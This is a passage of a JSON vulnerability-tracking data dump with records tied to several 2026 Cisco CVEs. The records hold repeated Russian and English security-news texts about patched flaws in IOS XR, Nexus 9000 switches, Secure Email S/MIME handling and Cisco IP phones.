\u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-03T19:00:05.854969Z"}, {"uuid": "f12b3c91-f1f3-4bbc-8d9c-8381b35504b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://thehackernews.com/2026/09/critical-cisco-nexus-9000-flaw-lets.html", "content": "Cisco has released patches to address a critical security flaw affecting 10 Silicon One-based Nexus 9000 switches that could allow an unauthenticated, remote attacker to execute code as root, alongside an IOS XR hardening release bundling 7 umbrella CVEs, 2 of which are rated 9.8, with no workaround for any IOS XR version.\n\nThe Nexus vulnerability, tracked as CVE-2026-20212 (CVSS score: 9.8), is", "creation_timestamp": "2026-09-03T19:00:42.394921Z"}, {"uuid": "62083362-2ce2-4cd7-9a9c-a6881eb4598f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/9963", "content": "\ud83d\udea8 A critical Cisco Nexus 9000 flaw lets unauthenticated remote attackers run code as root.\n\nCVE-2026-20212 leaves TCP ports 43210 and 43211 reachable in the default Layer 3 VRF on 10 switch models.\n\nAffected models, fixes, and mitigations: https://thehackernews.com/2026/09/critical-cisco-nexus-9000-flaw-lets.html", "creation_timestamp": "2026-09-03T21:00:29.061105Z"}, {"uuid": "8fd2e762-9a10-4a31-9990-363157247e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/9963", "content": "\ud83d\udea8 A critical Cisco Nexus 9000 flaw lets unauthenticated remote attackers run code as root.\n\nCVE-2026-20212 leaves TCP ports 43210 and 43211 reachable in the default Layer 3 VRF on 10 switch models.\n\nAffected models, fixes, and mitigations: https://thehackernews.com/2026/09/critical-cisco-nexus-9000-flaw-lets.html", "creation_timestamp": "2026-09-04T00:00:18.986206Z"}, {"uuid": "a05b5b36-ddf4-4744-9579-762a2674dd85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "published-proof-of-concept", "source": "Telegram/dtxzl7YLRK8VtMXpzvGqJXhrQTbbTEqS41s3iIGrOlk6gw", "content": "", "creation_timestamp": "2026-09-04T00:00:39.156684Z"}, {"uuid": "2cdc1a22-2c3f-4fc7-8ac7-167be3cedaaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-04T00:00:39.928817Z"}, {"uuid": "d4ab4847-abe9-4c01-b425-d2f83a5dfecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 